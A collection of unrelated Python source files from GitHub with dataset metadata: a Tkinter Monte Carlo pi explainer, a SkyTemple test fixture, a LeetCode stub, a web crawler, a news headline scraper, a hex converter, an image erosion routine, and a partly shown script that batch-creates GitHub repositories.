11))\r\n\r\n\r\n        self.frame2 = LabelFrame(self.window, text=\"How is it done?\", bg=\"black\", fg=\"yellow\", font=(\"Helvetica\", 11), padx=5, pady=5)\r\n        self.step1 = Label(self.frame2, text=\"Here monte carlo simulation is used to estimate the value of pi.\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step2 = Label(self.frame2, text=\"This is done using some basic concepts of probabilities\\n\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step3 = Label(self.frame2, text=\"Step 1: Here we take a square of side 10 units and\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step4 = Label(self.frame2, text=\"we place a circle at the center with a radi of 5 units.\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step5 = Label(self.frame2, text=\"Step 2: If we sample some random points within the square\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step6 = Label(self.frame2, text=\"then surely some of the sampled points will be inside the circle.\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step7 = Label(self.frame2, text=\"Step 3: So if the total number of sampling is x and number of \", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step8 = Label(self.frame2, text=\"hit is y, then fraction of success is (y/x).\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step9 = Label(self.frame2, text=\"Step 4: This fraction will be proportional to  area(Circle)/area(Square).\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step10 = Label(self.frame2, text=\"Step 5: The area of square, a*a is known to us, hit_ratio is also available\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step11 = Label(self.frame2, text=\"to us. So by rearranging we can estimate the area of circle.\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step12 = Label(self.frame2, text=\"Step 6: The area of circle is pi*r*r, and we know the value of r.\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n        self.step13 = Label(self.frame2, text=\"Hence we can estimate the value pi. This is how it is done.\", font=(\"Helvetica\", 11), bg=\"black\", fg=\"cyan\")\r\n\r\n\r\n        self.monte_text = Label(self.window, text=\"Enter the time interval: \", font=(\"Helvetica\", 11), bg=\"black\", fg=\"yellow\")\r\n        self.monte_input = Entry(self.window, width=20, borderwidth=2)\r\n        self.monte_button = Button(self.window, text=\"Animate\", font=(\"Helvetica\", 11), command=self.monte_func, pady=10, bg=\"black\", fg=\"yellow\", width=15)\r\n\r\n        self.heading.grid(row=0, column=0, sticky=W, pady=20, columnspan=2, padx=30)\r\n        self.frame1.grid(row=1, column=0, sticky=W, padx=30, pady=5, rowspan=2)\r\n        self.describe.grid(row=1, column=0, sticky=W)\r\n\r\n        self.frame2.grid(row=3, column=0, rowspan=13, columnspan=2, padx=30, pady=5)\r\n        self.step1.grid(row=3, column=0, sticky=W)\r\n        self.step2.grid(row=4, column=0, sticky=W)\r\n        self.step3.grid(row=5, column=0, sticky=W)\r\n        self.step4.grid(row=6, column=0, sticky=W)\r\n        self.step5.grid(row=7, column=0, sticky=W)\r\n        self.step6.grid(row=8, column=0, sticky=W)\r\n        self.step7.grid(row=9, column=0, sticky=W)\r\n        self.step8.grid(row=10, column=0, sticky=W)\r\n        self.step9.grid(row=11, column=0, sticky=W)\r\n        self.step10.grid(row=12, column=0, sticky=W)\r\n        self.step11.grid(row=13, column=0, sticky=W)\r\n        self.step12.grid(row=14, column=0, sticky=W)\r\n        self.step13.grid(row=15, column=0, sticky=W)\r\n\r\n        self.monte_text.grid(row=1, column=2)\r\n        self.monte_input.grid(row=2, column=2, ipady=3)\r\n        self.monte_button.grid(row=3, column=2)\r\n\r\n\r\n        self.window.mainloop()\r\n\r\n# object = Monte_Window()\r\n","repo_name":"finalyearProjct/math-visualisation","sub_path":"GUI_Tkinter/monte_carlo_window.py","file_name":"monte_carlo_window.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10761065684","text":"from __future__ import annotations\n\nfrom typing import MutableSequence, Sequence\n\nfrom range_typed_integers import u16, u8, u32\n\nfrom skytemple_files.common.util import AutoString\nfrom skytemple_files.data.waza_p.protocol import LevelUpMoveProtocol, MoveLearnsetProtocol, WazaMoveProtocol\n\n\ndef eq_level_up_move_list(one: Sequence[LevelUpMoveProtocol], two: Sequence[LevelUpMoveProtocol]) -> bool:\n    if len(one) != len(two):\n        return False\n    for x, y in zip(one, two):\n        if not eq_level_up_move(x, y):\n            return False\n    return True\n\n\ndef eq_level_up_move(one: LevelUpMoveProtocol, two: LevelUpMoveProtocol) -> bool:\n    return (\n        one.move_id == two.move_id and\n        one.level_id == two.level_id\n    )\n\n\ndef eq_learnset_list(one: Sequence[MoveLearnsetProtocol], two: Sequence[MoveLearnsetProtocol]) -> bool:\n    if len(one) != len(two):\n        return False\n    for x, y in zip(one, two):\n        if not eq_learnset(x, y):\n            return False\n    return True\n\n\ndef eq_learnset(one: MoveLearnsetProtocol, two: MoveLearnsetProtocol) -> bool:\n    return (\n        eq_level_up_move_list(one.level_up_moves, two.level_up_moves) and\n        list(one.egg_moves) == list(two.egg_moves) and\n        list(one.tm_hm_moves) == list(two.tm_hm_moves)\n    )\n\n\ndef eq_move_list(one: Sequence[WazaMoveProtocol], two: Sequence[WazaMoveProtocol]) -> bool:\n    if len(one) != len(two):\n        return False\n    for x, y in zip(one, two):\n        if not eq_move(x, y):\n            return False\n    return True\n\n\ndef eq_move(one: WazaMoveProtocol, two: WazaMoveProtocol) -> bool:\n    return (\n        one.base_power == two.base_power and\n        one.type == two.type and\n        one.category == two.category and\n        int(one.settings_range) == int(two.settings_range) and\n        int(one.settings_range_ai) == int(two.settings_range_ai) and\n        one.base_pp == two.base_pp and\n        one.ai_weight == two.ai_weight and\n        one.miss_accuracy == two.miss_accuracy and\n        one.accuracy == two.accuracy and\n        one.ai_condition1_chance == two.ai_condition1_chance and\n        one.number_chained_hits == two.number_chained_hits and\n        one.max_upgrade_level == two.max_upgrade_level and\n        one.crit_chance == two.crit_chance and\n        one.affected_by_magic_coat == two.affected_by_magic_coat and\n        one.is_snatchable == two.is_snatchable and\n        one.uses_mouth == two.uses_mouth and\n        one.ai_frozen_check == two.ai_frozen_check and\n        one.ignores_taunted == two.ignores_taunted and\n        one.range_check_text == two.range_check_text and\n        one.move_id == two.move_id and\n        one.message_id == two.message_id\n    )\n\n\nclass LevelUpMoveStub(LevelUpMoveProtocol, AutoString):\n    move_id: u16\n    level_id: u16\n\n    def __init__(self, move_id: u16, level_id: u16):\n        self.level_id = level_id\n        self.move_id = move_id\n\n    @classmethod\n    def stub_new(\n        cls,\n        level_id: u16,\n        move_id: u16,\n    ) -> LevelUpMoveStub:\n        return cls(move_id, level_id)\n\n    def __eq__(self, other: object) -> bool:\n        raise NotImplementedError(\"not implemented for stub\")\n\n\nclass WazaLearnsetStub(MoveLearnsetProtocol[LevelUpMoveStub]):\n    level_up_moves: MutableSequence[LevelUpMoveStub]\n    tm_hm_moves: MutableSequence[u32]\n    egg_moves: MutableSequence[u32]\n\n    def __init__(self, level_up_moves: Sequence[LevelUpMoveStub], tm_hm_moves: Sequence[u32], egg_moves: Sequence[u32]):\n        self.level_up_moves = list(level_up_moves)\n        self.tm_hm_moves = list(tm_hm_moves)\n        self.egg_moves = list(egg_moves)\n\n    @classmethod\n    def stub_new(\n        cls,\n        level_up_moves: MutableSequence[LevelUpMoveStub],\n        tm_hm_moves: MutableSequence[u32],\n        egg_moves: MutableSequence[u32],\n    ) -> WazaLearnsetStub:\n        return cls(level_up_moves, tm_hm_moves, egg_moves)\n\n    def __eq__(self, other: object) -> bool:\n        raise NotImplementedError(\"not implemented for stub\")\n\n\nclass WazaMoveStub(WazaMoveProtocol[int]):  # type: ignore\n    base_power: u16\n    type: u8\n    category: u8\n    settings_range: int  # type: ignore\n    settings_range_ai: int  # type: ignore\n    base_pp: u8\n    ai_weight: u8\n    miss_accuracy: u8\n    accuracy: u8\n    ai_condition1_chance: u8\n    number_chained_hits: u8\n    max_upgrade_level: u8\n    crit_chance: u8\n    affected_by_magic_coat: bool\n    is_snatchable: bool\n    uses_mouth: bool\n    ai_frozen_check: bool\n    ignores_taunted: bool\n    range_check_text: u8\n    move_id: u16\n    message_id: u8\n    \n    @classmethod\n    def stub_new(\n        cls,\n        base_power: u16,\n        type: u8,\n        category: u8,\n        settings_range: int,\n        settings_range_ai: int,\n        base_pp: u8,\n        ai_weight: u8,\n        miss_accuracy: u8,\n        accuracy: u8,\n        ai_condition1_chance: u8,\n        number_chained_hits: u8,\n        max_upgrade_level: u8,\n        crit_chance: u8,\n        affected_by_magic_coat: bool,\n        is_snatchable: bool,\n        uses_mouth: bool,\n        ai_frozen_check: u8,\n        ignores_taunted: bool,\n        range_check_text: u8,\n        move_id: u16,\n        message_id: u8,\n    ) -> WazaMoveStub:\n        self = cls.__new__(cls)\n        self.base_power = base_power\n        self.type = type\n        self.category = category\n        self.settings_range = settings_range\n        self.settings_range_ai = settings_range_ai\n        self.base_pp = base_pp\n        self.ai_weight = ai_weight\n        self.miss_accuracy = miss_accuracy\n        self.accuracy = accuracy\n        self.ai_condition1_chance = ai_condition1_chance\n        self.number_chained_hits = number_chained_hits\n        self.max_upgrade_level = max_upgrade_level\n        self.crit_chance = crit_chance\n        self.affected_by_magic_coat = affected_by_magic_coat\n        self.is_snatchable = is_snatchable\n        self.uses_mouth = uses_mouth\n        self.ai_frozen_check = ai_frozen_check\n        self.ignores_taunted = ignores_taunted\n        self.range_check_text = range_check_text\n        self.move_id = move_id\n        self.message_id = message_id\n        return self\n\n    def __init__(self, data: bytes):\n        raise NotImplementedError(\"not implemented for stub\")\n\n    def to_bytes(self) -> bytes:\n        raise NotImplementedError(\"not implemented for stub\")\n\n    def __eq__(self, other: object) -> bool:\n        raise NotImplementedError(\"not implemented for stub\")\n\n\nFIX_MOVE_RANGE_SETTINGS = [\n    (bytes([0x00, 0x00]), {'target': 0, 'range': 0, 'condition': 0, 'unused': 0}, 0),\n    (bytes([0x34, 0x12]), {'target': 4, 'range': 3, 'condition': 2, 'unused': 1}, 0x1234),\n    (bytes([0x12, 0x34]), {'target': 2, 'range': 1, 'condition': 4, 'unused': 3}, 0x3412),\n    (bytes([0xCD, 0xEF]), {'target': 13, 'range': 12, 'condition': 15, 'unused': 14}, 0xEFCD),\n    (bytes([0xFA, 0xB1]), {'target': 10, 'range': 15, 'condition': 1, 'unused': 11}, 0xB1FA),\n]\n","repo_name":"SkyTemple/skytemple-files","sub_path":"test/skytemple_files_test/data/waza_p/fixture.py","file_name":"fixture.py","file_ext":"py","file_size_in_byte":6942,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"}
{"seq_id":"70114496041","text":"#\n# https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/\n#\n# Given a binary tree, find the lowest common ancestor (LCA) of two given nodes \n# in the tree.\n#\n# According to the definition of LCA on Wikipedia: \n# “The lowest common ancestor is defined between two nodes p and q \n# as the lowest node in T that has both p and q as descendants \n# (where we allow a node to be a descendant of itself).”\n#\n# Example 1:\n#       Input: root = [3,5,1,6,2,0,8,null,null,7,4], p = 5, q = 1\n#       Output: 3\n#\n# Example 2: \n#       Input: root = [3,5,1,6,2,0,8,null,null,7,4], p = 5, q = 4\n#       Output: 5\n# \n# Example 3: \n#       Input: root = root = [1,2], p = 1, q = 2\n#       Output: 1\n#\n# Constraints:\n#       - The number of nodes in the tree is in the range [2, 10^5].\n#       - -10^9 <= Node.val <= 10^9\n#       - All Node.val are unique.\n#       - p != q\n#       - p and q will exist in the tree.\n# \n\nfrom typing import List\nimport sys\nimport pdb\nbr = pdb.set_trace\n\nsolution_json = {\n    \"date\": \"2022/?/??\",\n    \"design\": 0,\n    \"coding\": 0,\n    \"runtime\": \"?? ms\",\n    \"fasterThan\": \"\",\n    \"memory\": \"?? MB\" \n}\n\nclass TreeNode:\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n\n\nclass Solution:\n    def __init__(self):\n        self.module = sys.modules[__name__]\n\n    def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':\n        pass      \n","repo_name":"CountChu/LeetCodePython","sub_path":"learn_09_binary_tree/problems/0236-lca-bin-tree.py","file_name":"0236-lca-bin-tree.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4959421635","text":"import os\nimport sys\nimport time\nimport random\nimport traceback\nimport copy\n\nfrom io import StringIO\nfrom dataclasses import dataclass\nfrom http.client import RemoteDisconnected\n\nfrom profilescout.common.constants import ConstantsNamespace\nfrom profilescout.common.structures import OriginPageDetectionStrategy\nfrom profilescout.link.utils import is_valid_sublink\nfrom profilescout.web.manager import CrawlManager, CrawlStatus\nfrom profilescout.web.webdriver import setup_web_driver\nfrom profilescout.web.webpage import ScrapeOption, WebpageActionType\n\n\nconstants = ConstantsNamespace\n\n\ndef _close_everything(web_driver, out_file, err_file, export_path, use_buffer):\n    if web_driver is not None:\n        web_driver.quit()\n    # make sure that everything is flushed before stream is closed\n    out_file.flush()\n    err_file.flush()\n    if use_buffer:\n        out_content = out_file.getvalue()\n        err_content = err_file.getvalue()\n        # close buffers\n        out_file.close()\n        err_file.close()\n        # create log files\n        out_file, err_file = _create_out_and_err_files(export_path)\n        # write buffered contents to log files\n        out_file.write(out_content)\n        err_file.write(err_content)\n        out_file.close()\n        err_file.close()\n    else:\n        if out_file != sys.stdout:\n            out_file.close()\n        if err_file != sys.stderr:\n            err_file.close()\n\n\ndef _create_out_and_err_files(export_path):\n    suffix = ''\n    out_log_path = os.path.join(export_path, 'out.log')\n    err_log_path = os.path.join(export_path, 'err.log')\n    if os.path.exists(out_log_path) or os.path.exists(err_log_path):\n        suffix += str(random.randint(constants.PRINT_SUFFIX_MIN, constants.PRINT_SUFFIX_MAX))\n        out_log_path = os.path.join(export_path, f'out{suffix}.log')\n        err_log_path = os.path.join(export_path, f'err{suffix}.log')\n    out_file = open(out_log_path, 'w')\n    err_file = open(err_log_path, 'w')\n\n    return out_file, err_file\n\n\ndef crawl_website(\n    export_path,\n    base_url,\n    options,\n    action_type,\n    scrape_option,\n    image_classifier\n):\n    detection_strategy = OriginPageDetectionStrategy()\n    if action_type == WebpageActionType.SCRAPE_PAGES:\n        crawler = Crawler(options, export_path)\n        for step in crawler.crawl(base_url):\n            crawler.save(scrape_option)\n    elif action_type == WebpageActionType.FIND_ORIGIN:\n        crawler = Crawler(options, export_path, detection_strategy, image_classifier)\n        for step in crawler.crawl(base_url):\n            if detection_strategy.successful():\n                break\n    elif action_type == WebpageActionType.SCRAPE_PROFILES:\n        crawler = Crawler(options, export_path, detection_strategy, image_classifier)\n        for step in crawler.crawl(base_url):\n            if detection_strategy.successful():\n                result = detection_strategy.get_result()\n                origin = result['origin']\n                og_crawler = crawler.create_subcrawler()\n                og_crawler.options.max_depth = result['depth'] + 1\n                og_crawler.links_from_structure = True\n                og_crawler.skip_sublinks = True\n                og_crawler.skip_first_page = True\n                og_crawler.sublink_filters = [lambda page_link: is_valid_sublink(page_link.url, result['most_common_format'], '####')]\n                for og_step in og_crawler.crawl(origin, result['depth']):\n                    og_crawler.save(scrape_option)\n                    og_crawler.skip_sublinks = True\n                crawler.mark_as_visited(og_crawler.get_visited_links(), og_crawler.get_scraped_count())\n\n\n@dataclass\nclass CrawlOptions:\n    max_depth: int = 3\n    max_pages: int = None\n    crawl_sleep: int = 2\n    include_fragment: bool = False\n    bump_relevant: bool = True\n    use_buffer: bool = False\n    scraping: bool = True\n    resolution: tuple = (constants.WIDTH, constants.HEIGHT)\n\n    def increase(self, to_incr):\n        for option, val in to_incr.items():\n            assert val > 0, 'value must be greater then 0'\n            if option == 'max_depth':\n                self.max_depth += val\n            elif option == 'max_pages':\n                self.max_pages += val\n            elif option == 'crawl_sleep':\n                self.crawl_sleep += val\n            else:\n                raise KeyError(f'provided value {option!r} is not recognised as a crawl option')\n\n\nclass Crawler:\n    def __init__(\n        self,\n        options,\n        export_path,\n        detection_strategy=None,\n        image_classifier=None,\n        parent_out_file=None,\n        parent_err_file=None,\n        is_subcrawler=False\n    ):\n        self.skip_sublinks = False\n        self.skip_first_page = False\n        self.links_from_structure = False\n        self.status = CrawlStatus.NOT_STARTED\n        self.img_width = constants.WIDTH\n        self.img_height = constants.HEIGHT\n        self.sublink_filters = []\n        self.detection_strategy = detection_strategy\n        self.options = options\n        self.image_classifier = image_classifier\n        self.is_subcrawler = is_subcrawler\n        # prepare output files and directories\n        self.export_path = export_path\n        self._out_file = sys.stdout\n        self._err_file = sys.stderr\n        if is_subcrawler:\n            self._out_file = parent_out_file\n            self._err_file = parent_err_file\n        else:\n            export_path_exists = True\n            try:\n                os.mkdir(self.export_path)\n            except FileExistsError:\n                print(f'INFO: Directory exists at: {self.export_path}')\n            except OSError:\n                print(f'ERROR: Cannot create directory at {self.export_path!r}, stderr and stdout will be used')\n                export_path_exists = False\n            if export_path_exists:\n                # open log files for writing if the directory is created\n                if self.options.use_buffer:\n                    self._out_file = StringIO()\n                    self._err_file = StringIO()\n                else:\n                    self._out_file, self._err_file = _create_out_and_err_files(self.export_path)\n            else:\n                self.export_path = '.'\n            if self.options.scraping:\n                try:\n                    os.mkdir(os.path.join(self.export_path, 'html'))\n                    os.mkdir(os.path.join(self.export_path, 'screenshots'))\n                except Exception:\n                    pass\n\n    def _visit_page(self):\n        if not self.crawl_manager.has_next():\n            print(f'INFO: All links at a depth of {self.options.max_depth} have been visited.',\n                  'Stopping the crawling...',\n                  file=self._out_file)\n            self.status = CrawlStatus.FINISHED\n            return None\n        self.curr_page = self.crawl_manager.visit_next()\n        if self.curr_page is None:\n            return None\n        print(f'{self.curr_page.link.depth} {self.curr_page.link.url}', file=self._out_file, flush=True)\n        return self.curr_page\n\n    def _visit_cleanup(self):\n        self._out_file.flush()\n        self._err_file.flush()\n        time.sleep(self.options.crawl_sleep)\n\n    def _perform_detection_strategy(self):\n        self.detection_strategy.analyse(self.curr_page, self.image_classifier, self.options.resolution)\n        result = self.detection_strategy.get_result()\n        if result is not None:\n            print(f\"INFO: {result['message']}\", file=self._out_file)\n        return result\n\n    def _perform_action(self, action, args):\n        action_result = action(**args)\n        if action_result.successful:\n            self.crawl_manager.increase_count()\n            if self.crawl_manager.is_page_max_reached():\n                self.status = CrawlStatus.FINISHED\n        else:\n            action_name = action.__name__\n            print(f'ERROR: Failed to perform action {action_name!r} for: {self.curr_page.link.url}', file=self._err_file)\n        return action_result\n\n    def _queue_sublinks(self):\n        return self.crawl_manager.queue_sublinks(\n            self.options.include_fragment,\n            self.sublink_filters,\n            self.links_from_structure)\n\n    def crawl(self, base_url, base_depth=0):\n        if not self.is_subcrawler:\n            print(f'INFO: Logs for {base_url!r} are located at {self.export_path!r}')\n        self._web_driver = setup_web_driver()\n        self.status = CrawlStatus.RUNNING\n        self.crawl_manager = CrawlManager(self._web_driver, base_url, self._out_file, self._err_file, base_depth=base_depth)\n        self.crawl_manager.set_options(\n            self.options.max_depth,\n            self.options.max_pages,\n            self.options.bump_relevant)\n        try:\n            while True:\n                self.skip_sublinks = False\n                current_page = self._visit_page()\n                if current_page is None or self.status == CrawlStatus.FINISHED:\n                    break\n\n                if self.detection_strategy is not None:\n                    if self.detection_strategy.successful():\n                        self.detection_strategy.reset()  # prep for new origin page\n                    self._perform_detection_strategy()\n\n                if self.skip_first_page:\n                    self.skip_first_page = False\n                    print(f'INFO: Skipped page: {self.curr_page.link.url}', file=self._out_file)\n                else:\n                    yield current_page.link\n\n                # execution will resume here so check status to find out if crawling should be finished or not\n                # note: caller might do something like performing action, which can lead to change of the\n                #       crawl status\n                if self.status == CrawlStatus.FINISHED:\n                    break\n\n                if not self.skip_sublinks:\n                    self._queue_sublinks()\n                self._visit_cleanup()\n        except RemoteDisconnected as rde:\n            print(f'INFO: Interrupted. Exiting... ({rde!r})', file=self._err_file)\n        except Exception as e:\n            print(f'ERROR: {e!s}', file=self._err_file)\n            print(f'{traceback.format_exc()}', file=self._err_file)\n        finally:\n            if not self.is_subcrawler:\n                _close_everything(self._web_driver, self._out_file, self._err_file, self.export_path, self.options.use_buffer)\n                print(f'INFO: Crawling of {base_url!r} is complete')\n            else:\n                print(f'INFO: Subcrawling of {base_url!r} is complete')\n\n    def create_subcrawler(self):\n        options = copy.copy(self.options)\n        return Crawler(\n            options,\n            self.export_path,\n            parent_out_file=self._out_file,\n            parent_err_file=self._err_file,\n            is_subcrawler=True)\n\n    def save(self, scrape_option):\n        action = self.curr_page.scrape_page\n        if scrape_option == ScrapeOption.ALL:\n            args = {'export_path': self.export_path, 'scrape_option': ScrapeOption.ALL,\n                    'width': self.img_width, 'height': self.img_height}\n        elif scrape_option == ScrapeOption.HTML:\n            args = {'export_path': self.export_path, 'scrape_option': ScrapeOption.HTML,\n                    'width': self.img_width, 'height': self.img_height}\n        elif scrape_option == ScrapeOption.SCREENSHOT:\n            args = {'export_path': self.export_path, 'scrape_option': ScrapeOption.SCREENSHOT,\n                    'width': self.img_width, 'height': self.img_height}\n        else:\n            return None\n        return self._perform_action(action, args)\n\n    def get_visited_links(self):\n        return self.crawl_manager.get_visited_links()\n\n    def get_links_to_visit(self):\n        return self.crawl_manager.get_links_to_visit()\n\n    def get_scraped_count(self):\n        return self.crawl_manager.get_scraped_count()\n\n    def mark_as_visited(self, visited_links, scraped_count):\n        return self.crawl_manager.mark_as_visited(visited_links, scraped_count)\n","repo_name":"TodorovicSrdjan/profilescout","sub_path":"profilescout/web/crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":12060,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"24636247078","text":"#!/usr/bin/python3\n\nfrom bs4 import BeautifulSoup\nfrom fake_useragent import UserAgent\nfrom colorama import Fore, Back, Style\nimport requests, re, string\n\nbanner = \"\"\"\n\n╔╦╗┬ ┬┌─┐  ╦ ╦┌─┐┌─┐┬┌─┌─┐┬─┐  ╔╗╔┌─┐┬ ┬┌─┐\n ║ ├─┤├┤   ╠═╣├─┤│  ├┴┐├┤ ├┬┘  ║║║├┤ │││└─┐\n ╩ ┴ ┴└─┘  ╩ ╩┴ ┴└─┘┴ ┴└─┘┴└─  ╝╚╝└─┘└┴┘└─┘\n\nAuthor: c0d3Ninja\n\"\"\"\n\nprint (banner)\n\nua = UserAgent()\nheader = {'User-Agent':str(ua.chrome)}\nlink = \"https://thehackernews.com/\"\nresponse = requests.get(link, timeout=5, headers=header)\nif response.status_code == 200:\n    print (\"-\" * 70)\n    print(\"Webite: \" + Fore.GREEN + link)\n    print(Fore.WHITE + \"Status: \" + Fore.GREEN + \"UP\")\nelse:\n    exit()\n\nsoup = BeautifulSoup(response.content, \"html.parser\")\nmenu = soup.find_all('li',attrs={\"class\":\"show-menu\"})\n\ntitle = soup.title\n\nfor titletext in title:\n    print(Fore.WHITE + \"Title: \" + Fore.GREEN + titletext)\n    print (Fore.WHITE + \"-\" * 75)\n\nfor links in soup.find_all('a',attrs={\"class\":\"story-link\"}):\n    seperator = Fore.CYAN + \"-\" * 75\n    print(Fore.WHITE)\n    print (''.join(x for x in links.text if x in string.printable).strip() + \"\\n\\n\" + Fore.GREEN + links.get('href') + \"\\n\" + seperator + \"\\n\")\n","repo_name":"gotr00t0day/thehackernews","sub_path":"thehackernews.py","file_name":"thehackernews.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21119631","text":"class Converter():\n    @staticmethod\n    def to_ascii(h):\n        sum1 = \"\"\n        lst = []\n        prev = \"\"\n        for elm in range(0,len(h)+1,2):\n            if elm+1 < len(h):\n                \n                lst.append(h[elm]+h[elm+1])\n        #print(lst)\n        for elm in lst:\n           # print(elm)\n            dicelm = int(elm,16)\n            \n            sum1 += chr(dicelm)\n        return sum1\n\n\n\n\n    @staticmethod\n    def to_hex(s):\n        sum1 = \"\"\n        for elm in s:\n            elm = ord(elm)\n            sum1 += '{0:x}'.format(elm)\n            #print(hexelm)\n        return sum1\n\n\nprint((Converter.to_hex((\"Look mom, no hands\"))))\nprint((Converter.to_ascii((\"4c6f6f6b206d6f6d2c206e6f2068616e6473\"))))","repo_name":"ikramulkayes/Python_season_3","sub_path":"46.py","file_name":"46.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23604712691","text":"import numpy as np\nfrom PIL import Image\n\n\ndef rgbTogray(rgb: np.array) -> np.array:\n    # standard graysacale conversion\n    r, g, b = rgb[:, :, 0], rgb[:, :, 1], rgb[:, :, 2]\n    return 0.2989 * r + 0.5870 * g + 0.1140 * b\n\n\ndef binaryzation(gray: np.array) -> np.array:\n    # map like conditional conversion\n    # limiarization with threshold at the half\n    return (127 < gray) & (gray <= 255)\n\n\ndef backToRgb(binary: np.array) -> np.array:\n    # map like conditional conversion\n    # limiarization with threshold at the half\n    return (binary != 0) * 255\n\n\ndef imageHandle(image: np.array) -> np.array:\n    dimension = len(image.shape)\n    image = rgbTogray(image) if dimension == 3 else image\n    image = binaryzation(image)\n    return image\n\n\ndef erode(image: np.array, kernel: np.array, backToRgb: bool = False) -> np.array:\n    original = np.array(image)\n    image = imageHandle(image)\n\n    blank_image = np.zeros_like(image)\n    output: np.array = blank_image\n\n    image_padded = np.zeros(\n        (image.shape[0] + kernel.shape[0] - 1,\n            image.shape[1] + kernel.shape[1] - 1)\n    )\n\n    # Copy image to padded image\n    image_padded[kernel.shape[0] - 2: -1, kernel.shape[1] - 2: -1] = image\n\n    # Iterate over image & apply kernel\n    for y in range(image.shape[1]):\n        for x in range(image.shape[0]):\n            summation = (\n                kernel * image_padded[x: x +\n                                      kernel.shape[0], y: y + kernel.shape[1]]\n            )\n\n            output[x, y] = int(np.count_nonzero(summation)\n                               == np.count_nonzero(kernel))\n\n    if backToRgb:\n        output = np.array(Image.fromarray(output).convert(\"RGB\"))\n        output = np.where(output[:, :, :] == (0, 0, 0), output, original)\n\n    return output\n","repo_name":"PeppoDev/erosion-dip","sub_path":"erosion.py","file_name":"erosion.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"39147094137","text":"import subprocess\nimport os\n\ndef execute(cmd, wd):\n    p = subprocess.Popen(cmd, cwd = wd, stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n    output, error = p.communicate()\n    p.wait()\n    return error\n\ndef gitInit(repoDir):\n    cmd = ['git', 'init']\n    execute(cmd, repoDir)\n\ndef gitAddAll(repoDir):\n    cmd = ['git', 'add', '--all']\n    execute(cmd, repoDir)\n\ndef gitCommit(repoDir, repoName):\n    cmd = ['git', 'commit', '-am', repoName]\n    execute(cmd, repoDir)\n\ndef createRemoteRepo(repoName, token):\n    cmd = 'curl -H \"Authorization: token {t}\" https://api.github.com/user/repos -d \\'{{\"name\": \"{n}\", \"description\":\"{d}\"}}\\''.format(t=token, n=repoName, d = \"Created using GitBatch\")\n    p = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n    output, error = p.communicate()\n    ostr = str(output)\n    if ('\"Validation Failed\",' in ostr):\n        return 'A GitHub repo with the name \"'+repoName+'\" already exists.'\n    if ('\"Bad credentials\",' in ostr):\n        return 'Invalid GitHub token entered.'\n    p.wait()\n    return ' '\n\ndef gitRemoteAdd(repoDir, remoteName, url):\n    cmd1 = ['git', 'remote', 'rm', remoteName]\n    execute(cmd1, repoDir)\n    cmd2 = ['git', 'remote', 'add', remoteName, url]\n    execute(cmd2, repoDir)\n\ndef gitPush(repoDir, remoteName):\n    cmd = ['git', 'push', remoteName, 'master']\n    s = str(execute(cmd, repoDir))\n    print(s)\n    if ('Repository not found.' in s):\n        return 'Invalid username.'\n    return ' '\n\n\ndef main():\n    username = raw_input(\"Enter your GitHub username:\")\n    token = raw_input(\"Enter your GitHub token:\")\n    wd = os.getcwd()\n    dirpaths = [os.path.join(wd,o) for o in os.listdir(wd) if os.path.isdir(os.path.join(wd,o)) and not o.startswith('.')]\n    dirnames = [o for o in os.listdir(wd) if os.path.isdir(os.path.join(wd,o)) and not o.startswith('.')]\n    c = len(dirnames)\n    l = len(dirnames)\n\n    if (l == 1):\n        print(\"----- Found 1 directory in \"+wd+\" -----\")\n    else:\n        if (l == 0):\n            print(\"Found no directories.\")\n        else:\n            print(\"----- Found \"+str(c)+\" directories in \"+wd+\" -----\")\n            for x in range (0, len(dirpaths)):\n                print('--'+dirnames[x]+'/-- :')\n                print(\"  -> Initializing repo in \"+dirnames[x]+\"/...\")\n                gitInit(dirpaths[x])\n\n                print(\"  -> Staging all files in \"+dirnames[x]+\"/...\")\n                gitAddAll(dirpaths[x])\n\n                print(\"  -> Making a commit in \"+dirnames[x]+\"...\")\n                gitCommit(dirpaths[x], dirnames[x])\n\n                print(\"  -> Creating GitHub repo with name \"+dirnames[x]+\"...\")\n                crs = createRemoteRepo(dirnames[x], token)\n                if (crs.startswith('A')):\n                    c = c - 1\n                    print('ERROR: '+crs)\n                    continue\n                elif (crs.startswith('I')):\n                    c = 0\n                    print('ERROR: '+crs)\n                    break\n\n                print(\"  -> Adding a remote with name \"+dirnames[x]+\"...\")\n                gitRemoteAdd(dirpaths[x], dirnames[x], 